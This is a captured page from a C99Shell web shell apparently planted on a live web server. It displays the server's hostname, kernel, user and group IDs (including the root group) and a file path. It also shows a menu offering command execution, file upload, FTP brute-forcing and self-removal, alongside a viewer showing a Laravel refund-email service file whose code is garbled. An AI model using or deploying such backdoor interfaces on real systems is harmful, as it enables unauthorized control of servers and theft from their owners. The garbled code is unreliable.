!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Services/Mail/   drwxr-xr-x
Free 25.52 GB of 117.98 GB (21.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RefundMailService.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Services\Mail;

use 
Modules\Refund\Entities\Refund;
use 
App\Models\{
    
UserVendorPreferenceCurrency
};

class 
RefundMailService extends TechVillageMail
{
    
/**
     * Send mail to user
     * @param object $request
     * @return array $response
     */
    
public function send($request)
    {
        
$refundStatus = ['In progress' => 'in-progress-refund-request''Declined' => 'decline-refund-request''Accepted' => 'accept-refund-request'];
        
$email $this->getTemplate(preference('dflt_lang'), $refundStatus[$request->status]);

        if (!
$email['status']) {
            return 
$email;
        }

        
$userInfo User::where('id'$request->user_id)->first();

        
$refund Refund::find($request->id);
        
$product $refund->orderDetail->product()->first();
        if (
$product->parent_id) {
            
$product $product->parentDetail()->first();
        }

        
$vendor Vendor::select('id''name''phone')->where('email'$request->vendor_email)->first();

        if (!empty(
$vendor)) {
            
// Replacing template variable
            
$subject str_replace('{company_name}'preference('company_name'), $email->subject);

            
$data = [
                
'{logo}' => $this->logo,
                
'{user_name}' => $userInfo->name,
                
'{product_image}' => $product->getFeaturedImage('small'),
                
'{product_name}' => $product->name,
                
'{vendor_name}' => $vendor->name,
                
'{product_qty}' => $refund->quantity_sent,
                
'{currency_symbol}' => Currency::getDefault()->symbol,
                
'{price}' => $request->total,
                
'{contact_number}' => $vendor->phone,
                
'{product_details_url}' => route('site.productDetails', ['slug' => $product->slug]),
                
'{support_mail}' => $request->vendor_email,
                
'{company_name}' => preference('company_name')
            ];

            
$message str_replace(array_keys($data), $data$email->body);

            return 
$this->email->sendEmail($userInfo->email$subject$messagenullpreference('company_name'));
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--